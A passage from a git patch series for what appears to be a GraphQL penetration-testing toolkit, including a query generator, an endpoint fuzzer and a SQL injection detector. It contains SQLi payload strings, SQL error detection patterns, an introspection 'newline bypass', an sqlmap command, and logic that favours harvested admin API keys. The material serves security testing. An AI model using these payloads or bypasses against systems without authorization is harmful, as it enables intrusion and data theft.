GraphQL methods\n" + " use - Generate the full query for a method\n" + " exit - Exit\n" + ) + if grep_text: + output = "\n".join( + l for l in output.splitlines() if grep_text in l.lower() + ) + print(output) + + elif cmd == "listMethods": + lines = [] + for i, m in enumerate(methods, start=1): + label = "Q" if m.get("_root") == "query" else "M" + lines.append(f" [{i}] ({label}) {m['name']}") + if grep_text: + lines = [l for l in lines if grep_text in l.lower()] + print("\n[*] Available methods:") + for line in lines: + print(line) + print() + + elif cmd.startswith("use "): + _, _, value = cmd.partition(" ") + value = value.strip() + + if value.isdigit(): + idx = int(value) - 1 + if not 0 <= idx < len(methods): + print("[!] Invalid method number.\n") + continue + selected = methods[idx] + else: + selected = next((m for m in methods if m["name"] == value), None) + if not selected: + print(f"[!] Method {value!r} not found.\n") + continue + + print(f"[+] Selected: {selected['name']}\n") + try: + query = generate_full_query(selected, introspection) + print("\n" + "-" * 40) + print(f"{BLUE}{query}{RESET}") + print("-" * 40 + "\n") + save_query_to_file(selected["name"], query) + except Exception as e: + print(f"[!] Error generating query: {e}\n") + + elif cmd == "exit": + print("[+] Exiting.") + break + + elif cmd == "": + continue + + else: + print("[!] Unknown command. Type 'help' for the command list.\n") + + +def _confirm_endpoint(url: str, headers: Dict[str, str]) -> None: + """Send {__typename} to confirm the URL is a live GraphQL endpoint before introspection.""" + if requests is None: + return + try: + resp = requests.post(url, headers=headers, + json={"query": "query{__typename}"}, timeout=10) + data = resp.json() + typename = None + if isinstance(data, dict): + d = data.get("data") or data + if isinstance(d, dict): + typename = d.get("__typename") + if typename: + print(f"[+] Endpoint confirmed — __typename: {typename}") + else: + print("[!] Endpoint responded but no __typename found. Proceeding anyway.") + except Exception as e: + print(f"[!] Could not confirm endpoint ({e}). Proceeding with introspection.") + + +def main(): + print_banner() + print("=== GraphQL Interactive Query Generator ===\n") + + parser = argparse.ArgumentParser(description="GraphQL Introspection CLI — query generator") + src = parser.add_mutually_exclusive_group() + src.add_argument("--introspection", metavar="FILE", + help="Path to introspection JSON file") + src.add_argument("--url", metavar="URL", + help="GraphQL endpoint URL (auto-introspection)") + parser.add_argument("-H", "--header", action="append", default=[], + metavar="Name: Value", + help="HTTP header for auto-introspection (repeatable)") + parser.add_argument("--cookie", metavar="FILE", + help="Cookie file (one line) for auto-introspection") + parser.add_argument("--save-introspection", dest="save_introspection", + action="store_true", + help="Save fetched introspection to introspection_schema.json (default)") + parser.add_argument("--no-save-introspection", dest="save_introspection", + action="store_false", + help="Do not save introspection to disk") + parser.set_defaults(save_introspection=True) + args = parser.parse_args() + + introspection = None + + if args.introspection: + if not os.path.isfile(args.introspection): + print(f"[!] File not found: {args.introspection!r}") + sys.exit(1) + introspection = core_intro.load_from_file(args.introspection) + if introspection is None: + sys.exit(1) + print("[+] Introspection loaded from file.\n") + + elif args.url: + headers = build_headers(args.header, args.cookie) + _confirm_endpoint(args.url, headers) + print(f"[*] Fetching introspection from {args.url} ...") + introspection, strategy = core_intro.fetch_with_bypass(args.url, headers) + if introspection is None: + print("[!] Could not obtain introspection. Falling back to interactive prompt.\n") + introspection = _prompt_introspection_file() + else: + tag = " (via newline bypass)" if strategy == "bypass" else "" + print(f"[+] Introspection obtained{tag}.\n") + if args.save_introspection: + core_intro.save_to_file(introspection) + else: + introspection = _prompt_introspection_file() + + methods = extract_graphql_queries(introspection) + if not methods: + print("[!] No GraphQL methods found in the introspection.") + sys.exit(1) + + n_q = sum(1 for m in methods if m.get("_root") == "query") + n_m = sum(1 for m in methods if m.get("_root") == "mutation") + print(f"[+] Schema loaded: {n_q} queries, {n_m} mutations\n") + + interactive_console(methods, introspection) + + +if __name__ == "__main__": + main() diff --git a/sqli/requirements.txt b/requirements.txt similarity index 100% rename from sqli/requirements.txt rename to requirements.txt diff --git a/sqli/README.md b/sqli/README.md deleted file mode 100644 index ef304b9..0000000 --- a/sqli/README.md +++ /dev/null @@ -1,146 +0,0 @@ -# GraphQL SQLi Detector (sqli_detector.py) - -A compact GraphQL SQL injection mini-detector (Python). This script performs GraphQL introspection, attempts a set of SQLi-like payloads against candidate string arguments, and writes reproducible marker `.http` files for use with sqlmap. The detector includes heuristics to reduce false positives and attempts to populate required arguments using values extracted from simple queries or an optional limited crawler. It also prioritizes discovered admin API keys when filling key-like arguments to increase coverage of privileged code paths. - ---- - -## Key capabilities -- Performs GraphQL introspection to discover `Query` fields and their arguments. -- Extracts real values from simple queries (tokens, keys, names) to use as baseline or to fill required arguments. -- Optional, opt-in crawling to follow relationships and collect more candidate inputs (Relay-style pagination attempts included). -- Decodes common GraphQL global IDs encoded as base64 and adds decoded IDs as candidates. -- Tests string-like arguments with a curated set of SQLi payloads. -- Detects SQL error messages included in GraphQL `errors`. -- Detects response differences (baseline vs attack), `NULL`-on-attack, and other signals. -- Writes reproducible `.http` marker files in `repro-payloads/` where the vulnerable value is replaced by `*`. -- Produces a recommended sqlmap command for confirmed findings. -- Prioritizes API keys discovered with role `admin` when filling key-like arguments (e.g. `apiKey`, `key`, `token`), increasing the chance to reach privileged code paths. -- Uses confirmation rules to reduce false positives (reports only when evidence is strong). - ---- - -## What the detector does (high-level) -1. Runs GraphQL introspection to obtain types and `Query` fields. -2. Extracts values from simple, argument-less queries (seed phase) and, optionally, runs a limited BFS-style crawl: - - For seed fields it tries several query shapes (simple selection, Relay `first:N` with `edges.node`, and `first:N` without edges) to coax items out of paginated endpoints. - - Decodes base64/global IDs and adds decoded IDs (and `Id` keys) to candidate pools. - - Follows id-like args using extracted IDs to expand discovery. -3. For each field with string-like arguments: - - Builds a working baseline by trying a few combinations of plausible values for other args. - - Sends curated SQLi-like payloads in the target argument. - - Skips GraphQL syntax errors (not SQLi). - - Detects SQL error messages, response diffs, and null-on-attack. - - If a required argument is missing, attempts to fill it from extracted values (with a simple name-match fallback). -4. For confirmed signals, writes a `.http` marker file with the attack request (attacked value replaced by `*`) and suggests a sqlmap command. - ---- - -## Usage -Basic usage: -```bash -python sqli_detector.py [headers_json] -``` - -Examples: -- Quick run without crawling: - ```bash - python sqli_detector.py https://example.com/graphql - ``` -- Run with authorization header (no crawl): - ```bash - python sqli_detector.py https://example.com/graphql '{"Authorization":"Bearer TOKEN"}' - ``` -- Run with crawling (authorized audits only): - ```bash - python sqli_detector.py https://example.com/graphql '{"Authorization":"Bearer TOKEN"}' --crawl --crawl-depth 2 --max-requests 200 --max-items 10 --crawl-delay 0.1 --verbose - ``` - ---- - -## CLI flags (summary) -- `` (positional) - GraphQL endpoint URL. - -- `[headers_json]` (positional, optional) - JSON string or simple "Key: Value" pairs (e.g. `'{"Authorization":"Bearer TOKEN"}'`). - -- `--crawl` - Enable limited crawling to extract outputs and reuse them as inputs. Opt-in because crawling increases requests. - -- `--crawl-depth N` (default: 2) - Maximum crawl depth (BFS levels). - -- `--max-requests N` (default: 250) - Maximum number of requests allowed during crawling. - -- `--max-items N` (default: 10) - Max items per list to inspect when extracting values. - -- `--crawl-delay FLOAT` (default: 0.0) - Delay in seconds between requests during crawling. - -- `--verbose` - Print queries and additional debug information (useful to inspect what the crawler is calling and the responses). - ---- - -## Output -- Human-readable findings printed to stdout (colored if colorama is available). -- Repro marker files written to `repro-payloads/` when findings are confirmed. Filenames include a sanitized field/arg name, timestamp, and short hash to avoid collisions. -- Each finding contains: - - field and argument name - - arguments used for the attack - - evidence (error message or description) - - marker request path - - recommended sqlmap command: - ``` - sqlmap --level 5 --risk 3 -r '' -p "JSON[query]" --batch --skip-urlencode --random-agent - ``` - ---- - -## Marker (.http) files -- Marker files are full HTTP POST requests that include headers and a JSON body where the vulnerable value has been replaced by `*`. Example: - ``` - POST /graphql HTTP/1.1 - Host: example.com - Content-Type: application/json - Authorization: Bearer TOKEN - - {"query":"query { user(id: \"123\") { email } }"} - ``` -- The target value in the JSON is substituted with `*` so sqlmap can inject into `JSON[query]` using `-r ` and `-p "JSON[query]"`. - ---- - -## Detection heuristics / confirmation rules -To reduce noisy false positives the detector reports a parameter only when one or more of the following hold: -- A clear SQL error is present in GraphQL `errors` (matches DB error signatures), OR -- Two or more distinct payloads produce evidence, OR -- A combination of strong signals (e.g., RESPONSE_DIFF + NULL_ON_ATTACK), OR -- A `NULL_ON_ATTACK` signal confirmed against a meaningful baseline. - -Signals checked: -- SQL error messages in `errors` (MySQL/Postgres/SQLite mentions, syntax errors, etc.) -- Response differences between baseline and attacked request -- `null` appearing in the attack response while baseline returned data -- Differences in a simple `__typename` baseline vs attack (quick sanity check) - ---- - -## Limitations -- Small, curated payload set — not exhaustive. Use sqlmap (the generated markers) for deeper automated testing. -- Tests are sequential; there is no built-in concurrency/worker pool. For large schemas consider extending to multiple workers. -- Crawling can reveal or store sensitive data. Use crawling only on authorized targets and treat `repro-payloads/` as sensitive output. -- Time-based blind SQLi is not tested by default. Add time-based payloads and response timing checks to detect blind techniques. -- If GraphQL introspection is disabled, discovery will fail; provide schema manually or use alternative enumeration techniques. -- Complex input objects, deeply nested relationships, or custom auth flows may need custom logic to populate arguments successfully. - ---- - -## Suggested next improvements -- Add flags for: - - concurrency / workers - - custom payload lists and strategies -- Expand payloads to include boolean- and time-based techniques (blind SQLi). -- Add more robust heuristics (email/UUID/hash detection, fuzzy matches). diff --git a/sqli/__init__.py b/sqli/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/sqli/sqli_detector.py b/sqli/sqli_detector.py index b92accc..9df52bf 100644 --- a/sqli/sqli_detector.py +++ b/sqli/sqli_detector.py @@ -5,22 +5,20 @@ import base64 import hashlib import argparse +import os import time -import shutil +import sys from datetime import datetime, timezone from typing import Any, Dict, List, Optional, Set, Tuple from urllib.parse import urlparse from pathlib import Path from itertools import product +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + import requests -try: - from colorama import init as colorama_init, Fore, Style - colorama_init(autoreset=True) -except Exception: - class _Dummy: - def __getattr__(self, name): return "" - Fore = Style = _Dummy() +from core.output import Fore, Style +from core.http import parse_headers_input INTROSPECTION_QUERY = """ query IntrospectionQuery { @@ -97,31 +95,6 @@ def __getattr__(self, name): return "" # -------------------- Utilities ------------------------------------------- -def try_parse_headers(h: Optional[str]) -> Dict[str, str]: - if not h: - return {} - try: - parsed = json.loads(h) - if isinstance(parsed, dict): - return parsed - if isinstance(parsed, list): - res = {} - for item in parsed: - if isinstance(item, dict): - res.update(item) - return res - except Exception: - pass - headers = {} - for part in re.split(r";|,", h): - part = part.strip() - if not part: - continue - if ":" in part: - k, v = part.split(":", 1) - headers[k.strip()] = v.strip() - return headers - def post_graphql(endpoint: str, headers: Dict[str, str], payload: Dict[str, Any], verbose: bool = False) -> Dict[str, Any]: h = {"Content-Type": "application/json"} h.update(headers or {}) @@ -1137,21 +1110,58 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, # -------------------- CLI / main ------------------------------------------ def main(): - parser = argparse.ArgumentParser(description="GraphQL SQLi mini-detector (compact grouped output)") + parser = argparse.ArgumentParser( + description="GraphQL SQLi detector — tests string arguments with SQL payloads", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=( + "Examples:\n" + " python3 sqli/sqli_detector.py https://target.com/graphql\n" + " python3 sqli/sqli_detector.py https://target.com/graphql " + "'{\"Authorization\":\"Bearer TOKEN\"}'\n" + " python3 sqli/sqli_detector.py https://target.com/graphql --crawl --verbose\n" + ), + ) parser.add_argument("endpoint", help="GraphQL endpoint URL") - parser.add_argument("headers", nargs="?", help="Optional headers JSON", default=None) - parser.add_argument("--crawl", action="store_true", help="Enable limited crawling to extract outputs and reuse them as inputs (opt-in)") - parser.add_argument("--crawl-depth", type=int, default=2, help="Max crawl depth (default: 2)") - parser.add_argument("--max-requests", type=int, default=250, help="Maximum number of requests allowed during crawling (default: 250)") - parser.add_argument("--max-items", type=int, default=10, help="Max items per list to inspect when extracting values (default: 10)") - parser.add_argument("--crawl-delay", type=float, default=0.0, help="Delay in seconds between crawl requests (default: 0.0)") - parser.add_argument("--verbose", action="store_true", help="Print queries and debug information") + parser.add_argument("headers", nargs="?", default=None, + help="Optional headers as JSON object or 'Name: Value' pairs") + parser.add_argument("--crawl", action="store_true", + help="BFS crawl to extract values for smarter argument seeding (opt-in)") + parser.add_argument("--crawl-depth", type=int, default=2, + help="Max crawl depth (default: 2)") + parser.add_argument("--max-requests", type=int, default=250, + help="Max requests during crawl (default: 250)") + parser.add_argument("--max-items", type=int, default=10, + help="Items per list to inspect during crawl (default: 10)") + parser.add_argument("--crawl-delay", type=float, default=0.0, + help="Delay between crawl requests in seconds (default: 0.0)") + parser.add_argument("--verbose", action="store_true", + help="Print queries and debug information") args = parser.parse_args() - headers = try_parse_headers(args.headers) - findings = run_detector(args.endpoint, headers, crawl=args.crawl, crawl_depth=args.crawl_depth, - max_requests=args.max_requests, max_items=args.max_items, - crawl_delay=args.crawl_delay, verbose=args.verbose) + # Validate numeric args + if args.crawl_depth < 1: + print("[!] --crawl-depth must be >= 1", file=sys.stderr) + sys.exit(1) + if args.max_requests < 1: + print("[!] --max-requests must be >= 1", file=sys.stderr) + sys.exit(1) + if args.max_items < 1: + print("[!] --max-items must be >= 1", file=sys.stderr) + sys.exit(1) + if args.crawl_delay < 0: + print("[!] --crawl-delay must be >= 0", file=sys.stderr) + sys.exit(1) + + headers = parse_headers_input(args.headers) + findings = run_detector( + args.endpoint, headers, + crawl=args.crawl, + crawl_depth=args.crawl_depth, + max_requests=args.max_requests, + max_items=args.max_items, + crawl_delay=args.crawl_delay, + verbose=args.verbose, + ) grouped = group_findings_by_param(findings, args.endpoint) print_grouped_summary(grouped) From 54ba7d98c7d736ec4ef592fda916db83065920a0 Mon Sep 17 00:00:00 2001 From: Jony Date: Mon, 8 Jun 2026 11:48:37 +0200 Subject: [PATCH 25/30] Simplify CLI flags and harden sqli detection qgen: remove --introspection FILE, --save-introspection flags; --url is now required. effuzz: remove --introspection, --save-introspection flags and --discover flag; endpoint auto-discovery now runs automatically whenever the given URL does not respond as GraphQL. sqli: fix hardcoded Query type name, NULL_ON_ATTACK field comparison, inconsistent sqlmap commands, backslash fallback; add Oracle/MSSQL/SQLAlchemy/sqlite3 error signatures, data- field SQL error scanning, skip-fallback optimisation, O(1) type_map lookup, and _collect_key_roles helper. Co-Authored-By: Claude Sonnet 4.6 --- effuzz/effuzz.py | 51 +--- qgen/qgen.py | 65 +--- sqli/sqli_detector.py | 690 +++++++++++++++++------------------------- 3 files changed, 312 insertions(+), 494 deletions(-) diff --git a/effuzz/effuzz.py b/effuzz/effuzz.py index ea7ab89..35fdfde 100644 --- a/effuzz/effuzz.py +++ b/effuzz/effuzz.py @@ -292,11 +292,7 @@ def main(): formatter_class=argparse.RawDescriptionHelpFormatter, ) parser.add_argument("--url", required=True, metavar="URL", - help="GraphQL endpoint URL (or base URL when --discover is used)") - parser.add_argument("--introspection", metavar="FILE", - help="Load schema from file instead of fetching automatically") - parser.add_argument("--discover", action="store_true", - help="Probe common GraphQL paths and confirm with {__typename}") + help="GraphQL endpoint URL (auto-discovery runs if it doesn't respond as GraphQL)") parser.add_argument("--check-methods", action="store_true", help="Test GET and form-urlencoded support (CSRF surface)") parser.add_argument("-s", "--silent", action="store_true", @@ -314,13 +310,6 @@ def main(): parser.add_argument("-H", "--header", action="append", default=[], metavar="Name: Value", help="HTTP header (repeatable)") - parser.add_argument("--save-introspection", dest="save_introspection", - action="store_true", - help="Save fetched schema to introspection_schema.json (default)") - parser.add_argument("--no-save-introspection", dest="save_introspection", - action="store_false", - help="Do not save fetched schema to disk") - parser.set_defaults(save_introspection=True) args = parser.parse_args() # --- Build headers --- @@ -358,14 +347,15 @@ def _parse_codes(raw: Optional[str]) -> Optional[set]: print(f"[!] Variables file is not valid JSON: {e}", file=sys.stderr) sys.exit(1) - graphql_url = args.url - # ------------------------------------------------------------------ # - # --discover: probe paths and update graphql_url # + # Resolve GraphQL endpoint (auto-discover if URL isn't GraphQL) # # ------------------------------------------------------------------ # - if args.discover: + graphql_url = args.url + if _get_typename(graphql_url, headers) is None: + print(f"[!] {graphql_url} did not respond as a GraphQL endpoint — running auto-discovery...") confirmed = discover_endpoint(graphql_url, headers) if confirmed is None: + print(f"{RED}[!] No GraphQL endpoint found. Aborting.{RESET}", file=sys.stderr) sys.exit(1) graphql_url = confirmed @@ -376,28 +366,15 @@ def _parse_codes(raw: Optional[str]) -> Optional[set]: check_csrf_surface(graphql_url, headers) # ------------------------------------------------------------------ # - # Load / fetch introspection # + # Fetch introspection # # ------------------------------------------------------------------ # - introspection_data: Optional[Dict[str, Any]] = None - - if args.introspection: - if not os.path.isfile(args.introspection): - print(f"[!] Introspection file not found: {args.introspection!r}", file=sys.stderr) - sys.exit(1) - introspection_data = core_intro.load_from_file(args.introspection) - if introspection_data is None: - sys.exit(1) - print(f"[+] Schema loaded from file: {args.introspection}") - else: - print(f"[*] Fetching introspection from {graphql_url} ...") - introspection_data, strategy = core_intro.fetch_with_bypass(graphql_url, headers) - if introspection_data is None: - print("[!] Could not obtain introspection from endpoint.", file=sys.stderr) - sys.exit(1) - tag = " (via newline bypass)" if strategy == "bypass" else "" - print(f"[+] Introspection obtained{tag}.") - if args.save_introspection: - core_intro.save_to_file(introspection_data) + print(f"[*] Fetching introspection from {graphql_url} ...") + introspection_data, strategy = core_intro.fetch_with_bypass(graphql_url, headers) + if introspection_data is None: + print("[!] Could not obtain introspection from endpoint.", file=sys.stderr) + sys.exit(1) + tag = " (via newline bypass)" if strategy == "bypass" else "" + print(f"[+] Introspection obtained{tag}.") schema = core_intro.extract_schema(introspection_data) if not schema: diff --git a/qgen/qgen.py b/qgen/qgen.py index a1de84b..65a4475 100644 --- a/qgen/qgen.py +++ b/qgen/qgen.py @@ -32,18 +32,6 @@ def print_banner(): """) -def _prompt_introspection_file() -> Dict[str, Any]: - """Interactive fallback: ask the user for a path to an introspection JSON file.""" - while True: - path = input("Enter introspection JSON file path: ").strip() - if not os.path.isfile(path): - print(f"[!] File not found: {path!r}\n") - continue - data = core_intro.load_from_file(path) - if data is not None: - print("[+] Introspection loaded.\n") - return data - def extract_graphql_queries(introspection: Dict[str, Any]) -> List[Dict[str, Any]]: """Extract query and mutation fields from an introspection response. @@ -387,51 +375,24 @@ def main(): print("=== GraphQL Interactive Query Generator ===\n") parser = argparse.ArgumentParser(description="GraphQL Introspection CLI — query generator") - src = parser.add_mutually_exclusive_group() - src.add_argument("--introspection", metavar="FILE", - help="Path to introspection JSON file") - src.add_argument("--url", metavar="URL", - help="GraphQL endpoint URL (auto-introspection)") + parser.add_argument("--url", metavar="URL", required=True, + help="GraphQL endpoint URL") parser.add_argument("-H", "--header", action="append", default=[], metavar="Name: Value", - help="HTTP header for auto-introspection (repeatable)") + help="HTTP header (repeatable)") parser.add_argument("--cookie", metavar="FILE", - help="Cookie file (one line) for auto-introspection") - parser.add_argument("--save-introspection", dest="save_introspection", - action="store_true", - help="Save fetched introspection to introspection_schema.json (default)") - parser.add_argument("--no-save-introspection", dest="save_introspection", - action="store_false", - help="Do not save introspection to disk") - parser.set_defaults(save_introspection=True) + help="Cookie file (one line)") args = parser.parse_args() - introspection = None - - if args.introspection: - if not os.path.isfile(args.introspection): - print(f"[!] File not found: {args.introspection!r}") - sys.exit(1) - introspection = core_intro.load_from_file(args.introspection) - if introspection is None: - sys.exit(1) - print("[+] Introspection loaded from file.\n") - - elif args.url: - headers = build_headers(args.header, args.cookie) - _confirm_endpoint(args.url, headers) - print(f"[*] Fetching introspection from {args.url} ...") - introspection, strategy = core_intro.fetch_with_bypass(args.url, headers) - if introspection is None: - print("[!] Could not obtain introspection. Falling back to interactive prompt.\n") - introspection = _prompt_introspection_file() - else: - tag = " (via newline bypass)" if strategy == "bypass" else "" - print(f"[+] Introspection obtained{tag}.\n") - if args.save_introspection: - core_intro.save_to_file(introspection) - else: - introspection = _prompt_introspection_file() + headers = build_headers(args.header, args.cookie) + _confirm_endpoint(args.url, headers) + print(f"[*] Fetching introspection from {args.url} ...") + introspection, strategy = core_intro.fetch_with_bypass(args.url, headers) + if introspection is None: + print("[!] Could not obtain introspection from endpoint.") + sys.exit(1) + tag = " (via newline bypass)" if strategy == "bypass" else "" + print(f"[+] Introspection obtained{tag}.\n") methods = extract_graphql_queries(introspection) if not methods: diff --git a/sqli/sqli_detector.py b/sqli/sqli_detector.py index 9df52bf..52a7b98 100644 --- a/sqli/sqli_detector.py +++ b/sqli/sqli_detector.py @@ -9,7 +9,7 @@ import time import sys from datetime import datetime, timezone -from typing import Any, Dict, List, Optional, Set, Tuple +from typing import Any, Dict, List, Optional, Set, Tuple, Union from urllib.parse import urlparse from pathlib import Path from itertools import product @@ -17,50 +17,11 @@ sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) import requests +import core.introspection as core_intro from core.output import Fore, Style from core.http import parse_headers_input -INTROSPECTION_QUERY = """ -query IntrospectionQuery { - __schema { - types { - kind - name - fields { - name - args { - name - type { - kind - name - ofType { - kind - name - ofType { - kind - name - } - } - } - } - type { - kind - name - ofType { - kind - name - ofType { - kind - name - } - } - } - } - } - } -} -""" - +# SQLi payloads — string context (String / ID GraphQL args) PAYLOADS = [ '" OR "1"="1', "' OR '1'='1", @@ -73,25 +34,39 @@ 'admin"/*', ] +# Ordered: specific / high-confidence first, broad patterns last. SQL_ERROR_SIGS = [ - re.compile(r"SQL syntax", re.I), - re.compile(r"syntax error", re.I), - re.compile(r"unterminated quoted string", re.I), - re.compile(r"mysql", re.I), - re.compile(r"postgres", re.I), - re.compile(r"sqlite", re.I), - re.compile(r"sqlstate", re.I), re.compile(r"you have an error in your sql syntax", re.I), - re.compile(r"pg_query\(", re.I), + re.compile(r"near .+ syntax error|syntax error .+ near", re.I), # SQLite/MySQL "near X: syntax error" + re.compile(r"unterminated quoted string", re.I), # PostgreSQL + re.compile(r"ORA-\d{4,5}", re.I), # Oracle + re.compile(r"unclosed quotation mark", re.I), # MSSQL + re.compile(r"invalid column name", re.I), # MSSQL + re.compile(r"microsoft.*?odbc.*?sql|sql.*?odbc.*?microsoft", re.I), + re.compile(r"sqlexception", re.I), # Java JDBC + re.compile(r"sqlstate", re.I), + re.compile(r"sqlalchemy", re.I), # Python SQLAlchemy exceptions + re.compile(r"sqlite3?\.", re.I), # Python sqlite3 exception class names re.compile(r"pymysql", re.I), re.compile(r"psycopg", re.I), + re.compile(r"pg_query\(", re.I), + re.compile(r"column .+ does not exist", re.I), # PostgreSQL + re.compile(r"sql server", re.I), + # Broad patterns — kept for flexibility but ranked last re.compile(r"mariadb", re.I), + re.compile(r"mysql", re.I), + re.compile(r"postgres", re.I), + re.compile(r"sqlite", re.I), ] TIMEOUT = 20 REPRO_DIR = "repro-payloads" INDEX_FILE = "index.json" -EVIDENCE_MAX_CHARS = 80 # max chars to display for evidence in console +EVIDENCE_MAX_CHARS = 80 + +# TypeMap alias: a pre-built {name: type_def} dict for O(1) lookup. +# Functions accept either a list (schema_types) or dict (type_map). +_TypeRef = Union[List[Dict[str, Any]], Dict[str, Dict[str, Any]]] # -------------------- Utilities ------------------------------------------- @@ -123,26 +98,34 @@ def extract_named_type(t: Optional[Dict[str, Any]]) -> Optional[str]: def is_string_type(arg_type_name: Optional[str]) -> bool: if not arg_type_name: return False - n = arg_type_name.lower() - return n in ("string", "id", "varchar", "text") + return arg_type_name.lower() in ("string", "id", "varchar", "text") -def find_type_definition(schema_types: List[Dict[str, Any]], name: Optional[str]) -> Optional[Dict[str, Any]]: +def find_type_definition(schema_types: _TypeRef, name: Optional[str]) -> Optional[Dict[str, Any]]: + """Locate a type definition by name. + + Accepts either a list of type dicts (O(n)) or a pre-built {name: def} + dict (O(1)). Build the dict once with _build_type_map() for hot paths. + """ if not name: return None + if isinstance(schema_types, dict): + return schema_types.get(name) for t in schema_types: if t.get("name") == name: return t return None -def pick_scalar_field_for_type(type_def: Optional[Dict[str, Any]], schema_types: List[Dict[str, Any]]) -> Optional[str]: +def _build_type_map(types: List[Dict[str, Any]]) -> Dict[str, Dict[str, Any]]: + return {t["name"]: t for t in types if isinstance(t, dict) and t.get("name")} + +def pick_scalar_field_for_type(type_def: Optional[Dict[str, Any]], schema_types: _TypeRef) -> Optional[str]: if not type_def or not type_def.get("fields"): return None for f in type_def.get("fields", []): tname = extract_named_type(f.get("type")) if not tname: continue - low = tname.lower() - if low in ("string", "int", "float", "boolean", "id", "integer"): + if tname.lower() in ("string", "int", "float", "boolean", "id", "integer"): return f.get("name") td = find_type_definition(schema_types, tname) if not td or not td.get("fields"): @@ -164,31 +147,22 @@ def truncate_str(s: str, n: int = 180) -> str: def build_query(field_name: str, args_dict: Dict[str, str], selection: Optional[str]) -> Dict[str, Any]: if args_dict: args_str = ", ".join([f'{k}: {json.dumps(v)}' for k, v in args_dict.items()]) - if selection: - q = f'query {{ {field_name}({args_str}) {{ {selection} }} }}' - else: - q = f'query {{ {field_name}({args_str}) }}' + q = f'query {{ {field_name}({args_str}) {{ {selection} }} }}' if selection else f'query {{ {field_name}({args_str}) }}' else: - if selection: - q = f'query {{ {field_name} {{ {selection} }} }}' - else: - q = f'query {{ {field_name} }}' + q = f'query {{ {field_name} {{ {selection} }} }}' if selection else f'query {{ {field_name} }}' return {"query": q} def _sanitize_name(s: str) -> str: return re.sub(r"[^\w\-]+", "_", s)[:64] def _write_raw_http(endpoint: str, headers: Dict[str, str], body_json: Dict[str, Any], fname: str) -> str: - repo_root = Path.cwd() - repro_dir = repo_root / REPRO_DIR + repro_dir = Path.cwd() / REPRO_DIR repro_dir.mkdir(parents=True, exist_ok=True) parsed = urlparse(endpoint) path = parsed.path or "/" if parsed.query: path = path + "?" + parsed.query - host_header = parsed.netloc - hdrs = {} - hdrs["Host"] = host_header + hdrs: Dict[str, str] = {"Host": parsed.netloc} for k, v in (headers or {}).items(): if k.lower() == "host": hdrs["Host"] = v @@ -198,15 +172,9 @@ def _write_raw_http(endpoint: str, headers: Dict[str, str], body_json: Dict[str, hdrs["Content-Type"] = "application/json" body_str = json.dumps(body_json, ensure_ascii=False) fpath = repro_dir / fname - lines = [] - lines.append(f"POST {path} HTTP/1.1") - for k, v in hdrs.items(): - lines.append(f"{k}: {v}") - lines.append("") - lines.append(body_str) - content = "\r\n".join(lines) + "\r\n" + lines = [f"POST {path} HTTP/1.1"] + [f"{k}: {v}" for k, v in hdrs.items()] + ["", body_str] with open(fpath, "w", encoding="utf-8") as fh: - fh.write(content) + fh.write("\r\n".join(lines) + "\r\n") return str(fpath) def _read_index() -> Dict[str, Any]: @@ -227,21 +195,21 @@ def _write_index(idx: Dict[str, Any]) -> None: # -------------------- Crawling / extraction -------------------------------- -def seed_field_queries(field: Dict[str, Any], types: List[Dict[str, Any]], page_sizes: List[int], max_items: int) -> List[str]: +def seed_field_queries(field: Dict[str, Any], type_ref: _TypeRef, + page_sizes: List[int], max_items: int) -> List[str]: fname = field.get("name") return_type_name = extract_named_type(field.get("type")) - ret_def = find_type_definition(types, return_type_name) + ret_def = find_type_definition(type_ref, return_type_name) scalars = [] if ret_def and ret_def.get("fields"): for f in ret_def.get("fields", [])[:20]: - fname_f = f.get("name") - if fname_f and not fname_f.startswith("__"): - scalars.append(fname_f) + fn = f.get("name") + if fn and not fn.startswith("__"): + scalars.append(fn) if not scalars: scalars = ["__typename"] selection = " ".join(scalars[:8]) - queries = [] - queries.append(f'query {{ {fname} {{ {selection} }} }}') + queries = [f'query {{ {fname} {{ {selection} }} }}'] for n in page_sizes: queries.append(f'query {{ {fname}(first: {n}) {{ edges {{ node {{ {selection} }} }} }} }}') for n in page_sizes: @@ -270,14 +238,11 @@ def _pretty_print_extracted_values(extracted_values: Dict[str, Set[str]], key_ro if extracted_values: print(Fore.CYAN + " Field -> values:") for key in sorted(extracted_values.keys()): - vals = list(extracted_values[key]) - sample = vals[:max_per_key] + sample = list(extracted_values[key])[:max_per_key] print(Fore.CYAN + f" {key}: " + Fore.WHITE + f"{json.dumps(sample, ensure_ascii=False)}" + Style.RESET_ALL) def try_decode_global_id(val: str) -> Optional[Tuple[str, str]]: - if not isinstance(val, str): - return None - if len(val) < 8: + if not isinstance(val, str) or len(val) < 8: return None if not re.fullmatch(r'[A-Za-z0-9+/=]+', val): return None @@ -303,7 +268,7 @@ def simple_name_match_values(arg_name: str, extracted_values: Dict[str, Set[str] candidates = list(extracted_values['key'])[:5] + candidates if 'token' in an and 'token' in extracted_values: candidates = list(extracted_values['token'])[:5] + candidates - seen = set() + seen: Set[str] = set() res = [] for v in candidates: if v not in seen: @@ -313,20 +278,28 @@ def simple_name_match_values(arg_name: str, extracted_values: Dict[str, Set[str] break return res +def _collect_key_roles(rdata: Any, key_roles: Dict[str, str], max_items: int) -> None: + """Extract key→role mappings from a crawled response value.""" + items: List[Any] = rdata if isinstance(rdata, list) else ([rdata] if isinstance(rdata, dict) else []) + for it in items[:max_items]: + if isinstance(it, dict): + key = it.get("key") or it.get("apiKey") or it.get("token") + role = it.get("role") + if key and role: + key_roles[key] = role + def crawl_and_extract_values(endpoint: str, - headers: Dict[str, str], - query_fields: List[Dict[str, Any]], - types: List[Dict[str, Any]], - max_depth: int = 2, - max_requests: int = 250, - max_items_per_list: int = 10, - delay: float = 0.0, - verbose: bool = False) -> Tuple[Dict[str, Set[str]], Dict[str, str]]: - """ - Crawl simple query fields to extract string values to reuse as candidates for arguments. - Returns (extracted_values, key_roles). - """ + headers: Dict[str, str], + query_fields: List[Dict[str, Any]], + types: List[Dict[str, Any]], + max_depth: int = 2, + max_requests: int = 250, + max_items_per_list: int = 10, + delay: float = 0.0, + verbose: bool = False) -> Tuple[Dict[str, Set[str]], Dict[str, str]]: + """Crawl argument-less query fields to seed argument values for SQLi testing.""" print(Fore.CYAN + "[*] Crawling schema to extract values for candidate inputs...") + type_map = 